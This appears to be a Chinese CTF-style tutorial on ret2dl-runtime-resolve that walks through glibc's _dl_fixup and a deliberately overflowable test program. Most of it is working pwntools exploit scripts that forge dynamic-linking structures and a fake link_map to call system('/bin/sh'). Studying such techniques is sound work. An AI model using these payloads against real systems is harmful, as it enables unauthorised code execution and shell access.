Ret2dl-runtime-resolve技术

在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。

ELF有plt表和got表,程序调用外部函数函数时,call的是plt表项,而plt表中,是这样的

plt表里,取出了got表对应函数的地址,然后jmp到地址处。

我们看看got表是什么样子的

没有指向read函数,我们跟踪过去看看

Push了一个数字,然后又jmp到了plt0处

最终发现,先push了一个地址,然后跳到了第二个划线地址处

跟踪进去看看

其实这就是dl_runtime_resolve函数,我们运行完后,再观察got表

其实就是dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需要的数据地址,而第二个参数,则表明要解析的函数在符号表中是第几个,比如,在这个elf文件里,我们的read在第三个位置,因此push 2

那么,dl_runtime_resolve是如何工作的呢?我们查看glibc的源码,看看

它的源码在glibc/sysdeps/x86_64/dl-trampoline.h,是直接用汇编写的,我们看到,dl_runtime_resolve简单的调用了_dl_fixup,因此,我们再去看看_dl_fixup的源码,它的源码在glibc/elf/dl-runtime.c

  1. #ifndef reloc_offset  
  2. # define reloc_offset reloc_arg  
  3. # define reloc_index  reloc_arg / sizeof (PLTREL)  
  4. #endif  
  5. DL_FIXUP_VALUE_TYPE  
  6. attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE  
  7. _dl_fixup (  
  8. # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS  
  9.     ELF_MACHINE_RUNTIME_FIXUP_ARGS,  
  10. # endif  
  11.     struct link_map *l, ElfW(Word) reloc_arg) {  
  12.     //获取symtab(存放dynsym的数组)  
  13.     const ElfW(Sym) *const symtab  
  14.         = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  
  15.     //获取strtab(存放符号名的数组  
  16.     const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);  
  17.     //获取reloc_arg对应的rel.plt   
  18.     const PLTREL *const reloc  
  19.         = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);  
  20.     //获取reloc_arg对应的dynsym   
  21.     const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  
  22.     const ElfW(Sym) *refsym = sym;  
  23.     //指向对应的got表,以便将解析结果写回去   
  24.     void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);  
  25.     lookup_t result;  
  26.     DL_FIXUP_VALUE_TYPE value;  
  27.   
  28.     /* Sanity check that we're really looking at a PLT relocation.  */  
  29.     assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);  
  30.   
  31.     /* Look up the target symbol.  If the normal lookup rules are not 
  32.        used don't look in the global scope.  */  
  33.     if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
  34.         const struct r_found_version *version = NULL;  
  35.   
  36.         if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {  
  37.             const ElfW(Half) *vernum =  
  38.                 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);  
  39.             ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;  
  40.             version = &l->l_versions[ndx];  
  41.             if (version->hash == 0)  
  42.                 version = NULL;  
  43.         }  
  44.   
  45.         /* We need to keep the scope around so do some locking.  This is 
  46.         not necessary for objects which cannot be unloaded or when 
  47.          we are not using any threads (yet).  */  
  48.         int flags = DL_LOOKUP_ADD_DEPENDENCY;  
  49.         if (!RTLD_SINGLE_THREAD_P) {  
  50.             THREAD_GSCOPE_SET_FLAG ();  
  51.             flags |= DL_LOOKUP_GSCOPE_LOCK;  
  52.         }  
  53.   
  54. #ifdef RTLD_ENABLE_FOREIGN_CALL  
  55.         RTLD_ENABLE_FOREIGN_CALL;  
  56. #endif  
  57.         //根据符号名,搜索对应的函数,返回libc基地址,并将符号信息保存到sym   
  58.         result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,  
  59.                                       version, ELF_RTYPE_CLASS_PLT, flags, NULL);  
  60.   
  61.         /* We are done with the global scope.  */  
  62.         if (!RTLD_SINGLE_THREAD_P)  
  63.             THREAD_GSCOPE_RESET_FLAG ();  
  64.   
  65. #ifdef RTLD_FINALIZE_FOREIGN_CALL  
  66.         RTLD_FINALIZE_FOREIGN_CALL;  
  67. #endif  
  68.   
  69.         //得到结果   
  70.         value = DL_FIXUP_MAKE_VALUE (result,  
  71.                                      sym ? (LOOKUP_VALUE_ADDRESS (result)  
  72.                                             + sym->st_value) : 0);  
  73.     } else {  
  74.         /* We already found the symbol.  The module (and therefore its load 
  75.         address) is also known.  */  
  76.         value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);  
  77.         result = l;  
  78.     }  
  79.   
  80.     /* And now perhaps the relocation addend.  */  
  81.     value = elf_machine_plt_value (l, reloc, value);  
  82.   
  83.     if (sym != NULL  
  84.             && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))  
  85.         value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));  
  86.   
  87.     /* Finally, fix up the plt itself.  */  
  88.     if (__glibc_unlikely (GLRO(dl_bind_not)))  
  89.         return value;  
  90.     //将结果写回到got表中   
  91.     return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);  
  92. }  

阅读上面源代码,我们知道了,解析时是根据符号名字符串来解析函数的,如果我们能够控制符号名字符串,那么,我们就可以实现解析任何函数,从而达到无需泄露来得到想要的函数。

 

我们写一个简单的程序来说明ret2dl-resolve技术,现在,我们有以下程序

ret2dl-solv.c

  1. #include <unistd.h>  
  2. #include <string.h>  
  3. void fun(){  
  4.     char buffer[0x20];  
  5.     read(0,buffer,0x200);  
  6. }  
  7. int main(){  
  8.     fun();  
  9.     return 0;  
  10. }  

先看在NO_RELRO下的情况

先分析32位情况

  1. //编译  
  2. //gcc ret2dl-solv.c -z norelro -no-pie -fno-stack-protector -m32 -o ret2dlsolve2  

在NO_RELRO情况下,因为dynamic可以修改,因此,我们直接修改dynamic的strtab,将它指向我们可控的区域,然后在可控区域对应的位置布置下需要的函数的名字即可,即伪造

dynstr。要注意对齐。

我们利用read,在bss段布下假的dynstr,然后修改dynamic段里strtab地址,让它指向fake_dynstr,然后手动调用dl_runtime_resolve函数解析,即可得到我们需要的函数。

我们的exp脚本如下

  1. #coding:utf8  
  2. #伪造dynstr完成无泄漏攻击,仅适用于NO RELRO  
  3. from pwn import *  
  4.   
  5. sh = process('./ret2dlsolve2')  
  6. elf = ELF('./ret2dlsolve2')  
  7. read_plt = elf.plt['read']  
  8. #此处是用来加载read的地址的,当我们伪造了dynstr后,再调用这个,就能将read解析为我们需要的函数  
  9. read_plt_load = 0x80482C6  
  10. leave_ret = 0x8048375  
  11. pop_ebp = 0x80484cb  
  12. #攻击目标,我们要修改这里,让它指向fake_dynstr  
  13. target_addr = 0x80496B0 + 4  
  14. bss = 0x8049778  
  15. fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00system\x00'  
  16. #做栈转移,同时继续下一轮的read  
  17. payload = 'a'*0x2C + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)  
  18. sh.sendline(payload)  
  19. #由于多个有参数的函数同时写到一个payload,是完成不了的,互相冲突,因此read_plt_load的参数也是target_addr,即system(target_addr),因此  
  20. #我们在target_addr处使用shell注入,即;sh  
  21. rop = 'AAAA' + p32(read_plt) + p32(read_plt_load) + p32(0) + p32(target_addr) + p32(0x100)  
  22. #fake_dynstr布置在bss + 0x850  
  23. payload2 = rop.ljust(0x50,'\x00') + fake_dynstr  
  24. sh.sendline(payload2)  
  25. #raw_input()  
  26. #修改dynamic里面的dynstrfake_dynstr,同时后面的;sh是一个shell注入  
  27. sh.sendline(p32(bss+0x850) + ';sh')  
  28. sh.interactive()  

让我们再看看64位的情况

  1. //编译  
  2. //gcc ret2dl-solv.c -z norelro -no-pie -fno-stack-protector -o ret2dlsolve2_64  

基本一致,只是要考虑栈环境,不然system调用不成功

  1. #coding:utf8  
  2. #关键是要解决堆栈平衡,不然system不会成功,因此,我们在第一次read时就事先把rop给输入进去了  
  3. from pwn import *  
  4.   
  5. sh = process('./ret2dlsolve2_64')  
  6. elf = ELF('./ret2dlsolve2_64')  
  7. read_plt = elf.plt['read']  
  8. fun_addr = elf.sym['fun']  
  9. #我们攻击的目标,我们要在此处修改指向fake_dynstr  
  10. target_addr = 0x600768 + 8  
  11. #用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数  
  12. plt0_load = 0x4003B0  
  13. #pop rdi;ret;  
  14. pop_rdi = 0x400553  
  15. #pop rsi ; pop r15 ; ret  
  16. pop_rsi = 0x400551  
  17. #伪造dynstr  
  18. fake_dynstr = '\x00libc.so.6\x00system\x00'  
  19. bss = 0x6008F8  
  20. #第一次构造2个输入机会,分别输入伪造的字符串,伪造的字符串的地址,rop  
  21. rop = p64(pop_rdi) + p64(bss) + p64(plt0_load) + p64(0)  
  22. payload = rop.ljust(0x28,'\x00') + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(read_plt)  
  23. payload +=  p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(target_addr) + p64(0) + p64(read_plt)  
  24. payload += rop  
  25. sh.sendline(payload)  
  26. #发送伪造的字符串  
  27. payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr  
  28. sleep(1)  
  29. sh.sendline(payload2)  
  30. sleep(1)  
  31. #修改dynsym里的strtab为我们伪造的dynstr  
  32. sh.sendline(p64(bss + 0x10))  
  33.   
  34. sh.interactive()  

接下来,我们看看PARTIAL_RELRO的情况

在PARTIAL_RELRO情况下,dynamic不可写,因此不再像上面那样简单的利用,我们需要伪造rel.plt。回过来看看源码

在获取reloc时未检查下标越界,而符号名又是通过sym->st_name取得

因此,我们在可控范围内同时伪造rel.plt、sym和dynstr,那么就能完成利用

我们先来看看32位情况下

  1. //编译  
  2. //gcc ret2dl-solv.c -z lazy -no-pie -fno-stack-protector -m32 -o ret2dlsolve  

各个数据结构,在源代码里查看对应的结构体,结合IDA调试现有的数据伪造即可

先是伪造sym

  1. typedef struct  
  2. {  
  3.   Elf32_Word    st_name; //符号名相对.dynstr起始的偏移  
  4.   Elf32_Addr    st_value;  
  5.   Elf32_Word    st_size;  
  6.   unsigned char st_info; //对于导入符号,值为0x12  
  7.   unsigned char st_other;  
  8.   Elf32_Section st_shndx;  
  9. }Elf32_Sym;  

我们可以参照IDA调试里现有的来改

  1. #开始伪造dynsym  
  2. fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)  

然后我们伪造rel.plt

  1. typedef struct  
  2. {  
  3.   Elf32_Addr    r_offset; //指向GOT表的指针  
  4.   Elf32_Word    r_info;  
  5.   //导入符号的信息,r_info = (index) << 8 + 0x7  
  6. } Elf32_Rel;  

同样可以参照IDA调试里现有的来改

  1. #开始伪造rel.plt  
  2. fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)  

伪造后,我们调用dl_runtime_resolve函数时的第二个参数设置为reloc_arg=fake_rel_addr - rel_addr,这样就能解析出我们指定的函数了。

  1. #coding:utf8  
  2. #重要,基于dl-runtime的免泄露地址,解析任意函数,实现任意函数的调用  
  3. #适用于Partial RELRONO RELRO  
  4. from pwn import *  
  5.   
  6. sh = process('ret2dlsolve')  
  7. elf = ELF('ret2dlsolve')  
  8. read_got = elf.got['read']  
  9. read_plt = elf.plt['read']  
  10. leave_ret = 0x8048395  
  11. pop_ebp = 0x80484eb  
  12.   
  13. #真正的dynstr的起始位置  
  14. dynstr_addr = 0x804821C  
  15. #真正的dynsym的起始地址  
  16. dynsym_addr = 0x80481CC  
  17. #真正的rel.plt的起始位置  
  18. rel_addr = 0x8048298  
  19. #调用dll_runtime_resolve  
  20. plt0 = 0x80482D0  
  21. #bss段开始的位置  
  22. bss = 0x804A01C  
  23.   
  24. #我们准备布置system字符串到bss+0x900  
  25. system_str = bss + 0x900  
  26. #接下来布置/bin/sh字符串  
  27. binsh_str = system_str + len('system') + 1  
  28. #接下来布置fake_dynsym  
  29. fake_dynsym_addr = bss + 0x910  
  30. #开始伪造dynsym  
  31. fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)  
  32. #接下来布置fake_rel  
  33. fake_rel_addr = fake_dynsym_addr + len(fake_dynsym)  
  34. #开始伪造rel.plt  
  35. fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)  
  36. #我们做栈迁移,同时继续调用read,向bss+0x800处写数据,注意,因为栈是从高往低增长,因此我们预留了0x800的空间  
  37. #需要注意的是,预留的空间要尽可能大一点,保证dll_runtime_resolve的栈空间够用,不然不能成功,这个问题搞了好久  
  38. payload1 = 'a'*0x2C + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)  
  39. #第一次,我们做栈迁移,同时继续调用read读取下一轮数据  
  40. sh.sendline(payload1)  
  41. #第二次,我们需要发送rop以及伪造的数据结构  
  42. rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr)  
  43. rop += p32(0) + p32(binsh_str)  
  44. payload2 = rop.ljust(0x900-0x800,'\x00') + ('system\x00/bin/sh\x00'.ljust(0x10,'\x00'))  
  45. payload2 += fake_dynsym + fake_rel  
  46. sh.sendline(payload2)  
  47.   
  48. sh.interactive()  

然后我们看看64位的情况下

  1. //编译  
  2. //gcc ret2dl-solv.c -z lazy -no-pie -fno-stack-protector -o ret2dlsolve_64  

 

  1. #coding:utf8  
  2. #64位情况下,伪造rel.plt变得不可行,因为在  
  3. '''''if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) 
  4.   { 
  5.     const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); 
  6.     ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; 
  7.     version = &l->l_versions[ndx]; 
  8.     if (version->hash == 0) 
  9.       version = NULL; 
  10.   } 
  11. '''  
  12. #这里,出现了访问未映射的内存  
  13. #主要是reloc->r_info过大的原因,因为我们在bss段伪造的数据,而bss段一般位于0x600000  
  14. #然后真正的rel.plt位于0x400000内,导致过大。  
  15. #如果我们在里0x400000处有可读写的区域,或许就可以成功  
  16. #本脚本在最后一步调用dl_runtime_resolve解析符号失败,因为上述原因  
  17. from pwn import *  
  18.   
  19. sh = process('./ret2dlsolve_64')  
  20. elf = ELF('./ret2dlsolve_64')  
  21. read_plt = elf.plt['read']  
  22. read_got = elf.got['read']  
  23. pop_rbp = 0x400468  
  24. pop_rdi = 0x400583  
  25. #pop rsi ; pop r15 ; ret  
  26. pop_rsi = 0x400581  
  27. leave_ret = 0x400506  
  28. #用于解析符号dl_runtime_resolve  
  29. plt_load = 0x4003E0  
  30. #bss  
  31. bss = 0x601030  
  32.   
  33. #第一次,我们做栈迁移,同时继续调用read输入数据  
  34. payload = 'a'*0x28 + p64(pop_rbp) + p64(bss + 0x580) + p64(pop_rsi) + p64(bss + 0x580) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(leave_ret)  
  35. raw_input()  
  36. sh.sendline(payload)  
  37. #真正的dynstr的地址  
  38. dynstr = 0x400318  
  39. #真正的dynsym的地址  
  40. dynsym = 0x4002B8  
  41. #真正的rel.plt的地址  
  42. rel_plt = 0x4003B0  
  43. #system字符串存储的字符串的地址  
  44. system_str_addr = bss + 0x600  
  45. #/bin/sh字符串存的地址  
  46. binsh_addr = system_str_addr + len('system') + 1  
  47. #伪造的dynsym地址  
  48. fake_dynsym_addr = bss + 0x618  
  49. #伪造的dynsym  
  50. fake_dynsym = (p32(system_str_addr - dynstr) + p8(0x12)).ljust(0x18,'\x00')  
  51. #伪造的rel地址,0x8align作用  
  52. fake_rel_addr = fake_dynsym_addr + len(fake_dynsym) + 0x8  
  53. #伪造rel.plt  
  54. fake_rel = p64(read_got) + p64((((fake_dynsym_addr - dynsym) / 0x18) << 32) + 0x7) + p64(0)  
  55.   
  56. rop = '\x00'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(plt_load) + p64( (fake_rel_addr - rel_plt) / 0x18)  
  57. payload2 = rop.ljust(0x80,'\x00') + ('system\x00/bin/sh\x00').ljust(0x18,'\x00')  
  58. payload2 += fake_dynsym + '\x00'*0x8 + fake_rel  
  59. raw_input()  
  60. sh.sendline(payload2)  
  61.   
  62. sh.interactive()  

理论上和32位差不多,但是出现了访问错误,因为在中间的执行过程中,访问到了一段未映射的地址处。

 

因此,我们得另外想办法,那么得回过来看源代码

  1. if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)  
  2. {  
  3. ....  
  4. }  

第一种方法是修改link_map,使得条件不成了。这种方法需要知道link_map的地址,也就是需要泄露link_map的地址。但是这显得很鸡肋,既然能够泄露,干嘛要用ret2-dl-resolve呢?

另一种方法是绕过最外层的if

  1. if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
  2.         ...  
  3. else {  
  4.         /* We already found the symbol.  The module (and therefore its load 
  5.         address) is also known.  */  
  6.         value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);  
  7.         result = l;  
  8. }  

我们到最外层的else里去,如果,我们伪造link_map,sym->st_value为某个已经解析了的函数的地址,比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址。

  1. typedef struct  
  2. {  
  3.   Elf64_Word    st_name;        /* Symbol name (string tbl index) */  
  4.   unsigned char st_info;        /* Symbol type and binding */  
  5.   unsigned char st_other;       /* Symbol visibility */  
  6.   Elf64_Section st_shndx;       /* Section index */  
  7.   Elf64_Addr    st_value;       /* Symbol value */  
  8.   Elf64_Xword   st_size;        /* Symbol size */  
  9. } Elf64_Sym;  

如何让sym->st_value为已经解析的函数的地址?

如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if,一举两得

为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可。

我们需要伪造这个数组里的几个指针,它们分别是

DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

  1. typedef struct  
  2. {  
  3.   Elf64_Sxword  d_tag;          /* Dynamic entry type */  
  4.   union  
  5.     {  
  6.       Elf64_Xword d_val;        /* Integer value */  
  7.       Elf64_Addr d_ptr;         /* Address value */  
  8.     } d_un;  
  9. } Elf64_Dyn;  

现在,我们就开始伪造

  1. #l_addr  
  2. fake_link_map = p64(l_addr)  
  3. #由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中  
  4. fake_link_map += fake_dyn_strtab  
  5. fake_link_map += fake_dyn_symtab  
  6. fake_link_map += fake_dyn_rel  
  7. fake_link_map += fake_rel  
  8. fake_link_map = fake_link_map.ljust(0x68,'\x00')  
  9. #dyn_strtab的指针  
  10. fake_link_map += p64(fake_dyn_strtab_addr)  
  11. #dyn_strsym的指针  
  12. fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70  
  13. #存入/bin/sh字符串  
  14. fake_link_map += '/bin/sh'.ljust(0x80,'\x00')  
  15. #fake_link_map_addr + 0xF8处,是rel.plt指针  
  16. fake_link_map += p64(fake_dyn_rel_addr)  

综上,我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. sh = process('./ret2dlsolve_64')  
  5. elf = ELF('./ret2dlsolve_64')  
  6. libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')  
  7. read_plt = elf.plt['read']  
  8. read_got = elf.got['read']  
  9. fun_addr = elf.sym['fun']  
  10.   
  11. #bss  
  12. bss = 0x601030  
  13.   
  14. l_addr = libc.sym['system'] - libc.sym['read']  
  15. #注意,只要是可读写的内存地址即可,调试看看就知道了  
  16. r_offset = bss + l_addr * -1  
  17.   
  18. #负数需要补码  
  19. if l_addr < 0:  
  20.    l_addr = l_addr + 0x10000000000000000  
  21.   
  22. pop_rdi = 0x400583  
  23. #pop rsi ; pop r15 ; ret  
  24. pop_rsi = 0x400581  
  25. #用于解析符号dl_runtime_resolve  
  26. plt_load = 0x4003E6  
  27.   
  28. #第一次继续调用read输入伪造的数据结构,然后再一次调用fun来输入rop  
  29. payload = 'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)  
  30. #raw_input()  
  31. sleep(1)  
  32. sh.sendline(payload)  
  33. #真正的dynstr的地址  
  34. dynstr = 0x400318  
  35. #我们准备把link_map放置在bss+0x100  
  36. fake_link_map_addr = bss + 0x100  
  37. #假的dyn_strtab  
  38. fake_dyn_strtab_addr = fake_link_map_addr + 0x8  
  39. fake_dyn_strtab = p64(0) + p64(dynstr) #fake_link_map_addr + 0x8  
  40. #假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got  
  41. #其他字段无关紧要,所以,我们让dynsymread_got - 0x8,这样,相当于把read_got - 0x8处开始当做一个dynsym,这样st_value正好对应了read的地址  
  42. #并且(*(sym+5))&0x03 != 0也成立  
  43. fake_dyn_symtab_addr = fake_link_map_addr + 0x18  
  44. fake_dyn_symtab = p64(0) + p64(read_got - 0x8) #fake_link_map_addr + 0x18  
  45. #假的dyn_rel  
  46. fake_dyn_rel_addr = fake_link_map_addr + 0x28  
  47. fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38) #fake_link_map_addr + 0x28  
  48. #假的rel.plt  
  49. fake_rel = p64(r_offset) + p64(0x7) + p64(0) #fake_link_map_addr + 0x38  
  50. #l_addr  
  51. fake_link_map = p64(l_addr)  
  52. #由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中  
  53. fake_link_map += fake_dyn_strtab  
  54. fake_link_map += fake_dyn_symtab  
  55. fake_link_map += fake_dyn_rel  
  56. fake_link_map += fake_rel  
  57. fake_link_map = fake_link_map.ljust(0x68,'\x00')  
  58. #dyn_strtab的指针  
  59. fake_link_map += p64(fake_dyn_strtab_addr)  
  60. #dyn_strsym的指针  
  61. fake_link_map += p64(fake_dyn_symtab_addr) #fake_link_map_addr + 0x70  
  62. #存入/bin/sh字符串  
  63. fake_link_map += '/bin/sh'.ljust(0x80,'\x00')  
  64. #fake_link_map_addr + 0xF8处,是rel.plt指针  
  65. fake_link_map += p64(fake_dyn_rel_addr)  
  66.   
  67. sleep(1)  
  68. sh.sendline(fake_link_map)  
  69. sleep(1)  
  70. #raw_input()  
  71. #现在,我们伪造好了link_map,那么,我们就可以来解析system  
  72. rop = 'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78)  + p64(plt_load) + p64(fake_link_map_addr) + p64(0)  
  73. sh.sendline(rop)  
  74.   
  75. sh.interactive()  

FULL_RELRO的情况下

程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_map和dl_runtime_resolve函数的地址都为0,因为后续不再使用,没有必要。

因此FULL_RELRO的情况下,要想利用ret2dl-runtime-resolve技术,就只能在栈中低位覆盖数据一定几率恢复出dl_runtime_resolve

比如在glibc2.27下,我们低位覆盖这个数据,有很大几率指向dl_runtime_resolve函数的地址,然后,link_map我们可以在我们可控的地方伪造。

然而,仍然很难利用起来,由于低位覆盖的原因,我们不能继续再在这个位置后面布置其他ROP。因此,在不是特别没办法时,尽量考虑其他方法。

这里,介绍一种其他的方法来针对FULL_RELRO的方案来getshell,那就是低位覆盖栈中数据一定几率指向syscall,构造execve(“/bin/sh”,0,0)系统调用。要构造这样的ROP,其他gadget容易搞定,关键是edx必须为0,不然调用会出错,然而,pop edx或pop rdx这样的gadget基本没有,因此,我们可以ret2csu,来控制edx

Logo

更多推荐